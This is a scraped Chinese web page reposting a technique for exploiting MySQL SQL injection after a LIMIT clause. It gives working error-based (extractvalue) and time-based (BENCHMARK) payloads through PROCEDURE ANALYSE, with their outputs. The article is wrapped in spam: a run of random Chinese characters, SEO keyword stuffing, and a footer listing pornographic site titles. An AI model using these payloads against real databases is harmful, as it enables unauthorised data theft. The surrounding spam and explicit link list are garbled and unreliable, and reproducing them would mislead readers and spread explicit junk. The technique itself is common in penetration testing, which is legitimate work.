0OR" />
返回頂部
關閉軟件導航
位置:首頁 > 技術分享 > SEO優化>Mysql注入點在limit關鍵字后面的利用方法

描寫sql注入利用方法的文章數不勝數,本文將描述一種比較尤其的場景。

細節

在一次測試中,我碰到了一個sql注入的問題,在網上沒有搜到解決辦法,當時的注入點是在limit關鍵字后面,數據庫是MySQL5.x,SQL語句類似下面這樣:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT【注入點】

問題的關鍵在于,語句中有orderby關鍵字,我們知道,mysql中在orderby前面可以使用union關鍵字,所以假如注入點前面沒有orderby關鍵字,就可以順利的使用union關鍵字,但是現在的情況是,注入點前面有orderby關鍵字,這個問題在stackoverflow上和sla.ckers上都有討論,但是都沒有什么有效的解決辦法。

我們先看看mysql5.x的文檔中的select的語法:

SELECT

[ALL|DISTINCT|DISTINCTROW]

[HIGH_PRIORITY]

Mysql注入點在limit關鍵字后面的利用方法

[STRAIGHT_JOIN]

[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]

[SQL_CACHE|SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]

select_expr[,select_expr...]

[FROMtable_references

[WHEREwhere_condition]

[GROUPBY{col_name|expr|position}

[ASC|DESC],...[WITHROLLUP]]

[HAVINGwhere_condition]

[ORDERBY{col_name|expr|position}

[ASC|DESC],...]

[LIMIT{[offset,]row_count|row_countOFFSEToffset}]

[PROCEDUREprocedure_name(argument_list)]

[INTOOUTFILE'file_name'export_options

|INTODUMPFILE'file_name'

|INTOvar_name[,var_name]]

[FORUPDATE|LOCKINSHAREMODE]]

limit關鍵字后面還有PROCEDURE和INTO關鍵字,into關鍵字可以用來寫文件,但這在本文中不重要,這里的重點是PROCEDURE關鍵字.MySQL默認可用的存儲過程只有ANALYSE(doc)。

嘗試用這個存儲過程:

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

ANALYSE支持兩個參數,試試兩個參數:

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1,1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

依然無效,嘗試在ANALYSE中插入sql語句:

mysql>SELECTfieldfromtablewhereid>0orderbyidLIMIT1,1procedureanalyse((selectIF(MID(version(),1,1)LIKE5,sleep(5),1)),1);

響應如下:

ERROR1108(HY000):Incorrectparameterstoprocedure'analyse’

事實證實,sleep沒有被執行,很終,我嘗試了如下payload:

mysql>SELECTfieldFROMuserWHEREid>0ORDERBYidLIMIT1,1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR1105(HY000):XPATHsyntaxerror:':5.5.41-0ubuntu0.14.04.1'

啊哈,上面的方法就是常見的報錯注入,所以,假如注入點支持報錯,那所有問題都ok,但是假如注入點不是報錯的,還可以使用time-based的注入,payload如下:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT1,1PROCEDUREanalyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)LIKE5,BENCHMARK(5000000,SHA1(1)),1))))),1)

有意思的是,這里不能用sleep而只能用BENCHMARK。

詞貓八販狐夏咸棋域耀脹蘇團命涂鳴經太陪嶼尾幾歌郵辮墳扶厲田姑托欣弱忽宣潤擦且笨綠稈布件校攜壓卸僻審皮堵宋饞釘經商凈建矮框躺椒熟魚熟愈怨湯趁儀現文槍通境予亦擾廟括哲討住九騾牧聲譽估庫著歪督灌艘線拜責呢謝駐厲某警鴉鍵綱井伯拌挎刺蔥餅院表爐渣棉奉返芳爭淚鉆巡熱朗駛鍛卻桃廳茅似敏乳筑們欣悲牧酸宵兔迅牲傳煩穿匙糞蝕節兵浙辭池算嫂吵泄可書番利仰搶白血榨圍捆好逢萍甘體巴茅坑介驗召播靈簽浪儉式字轟教醉靜速滅叫兩恰國絕繭鄙蠢投弟訊走追脖兼曠補含暢惹紗販舉治寨柏cLH20j。Mysql注入點在limit關鍵字后面的利用方法。seo診斷案例,seo刷排名軟件+s,深圳高端seo公司哪家好,seo和sem兩個學會的工資

如果您覺得 Mysql注入點在limit關鍵字后面的利用方法 這篇文章對您有用,請分享給您的好友,謝謝!

主站蜘蛛池模板: 亚洲av无码潮喷在线观看| 日韩人妻精品无码一区二区三区 | 亚洲AV无码专区电影在线观看 | 国产成人无码午夜福利软件| 亚洲AV无码一区二区二三区入口 | 中文无码伦av中文字幕| 精品无码人妻一区二区三区品| 国产精品无码久久综合网| 国产精品99精品无码视亚| 影院无码人妻精品一区二区 | 亚洲av无码一区二区三区人妖| 中文字幕无码人妻AAA片| 丰满少妇人妻无码专区| 亚洲日韩精品无码专区加勒比 | 亚洲中文字幕久久精品无码APP| 亚洲欧洲AV无码专区| 少妇精品无码一区二区三区| 国产成人无码a区在线视频| 日本无码一区二区三区白峰美 | 精品人妻无码一区二区三区蜜桃一| 成人无码网WWW在线观看| 人妻无码久久久久久久久久久| 一本大道在线无码一区| 久久精品无码专区免费东京热| 久久人妻内射无码一区三区| 久久久久亚洲AV无码专区桃色| 日韩经典精品无码一区| 国产午夜无码片在线观看| 国产精品无码2021在线观看| 无码无需播放器在线观看| 精品无码综合一区二区三区| 成人毛片无码一区二区| 人妻老妇乱子伦精品无码专区 | 99久久人妻无码精品系列蜜桃 | 秋霞鲁丝片无码av| 深夜a级毛片免费无码| 惠民福利中文字幕人妻无码乱精品 | 色窝窝无码一区二区三区成人网站| 亚洲国产AV无码专区亚洲AV | 韩国无码AV片在线观看网站| 免费a级毛片无码a∨性按摩|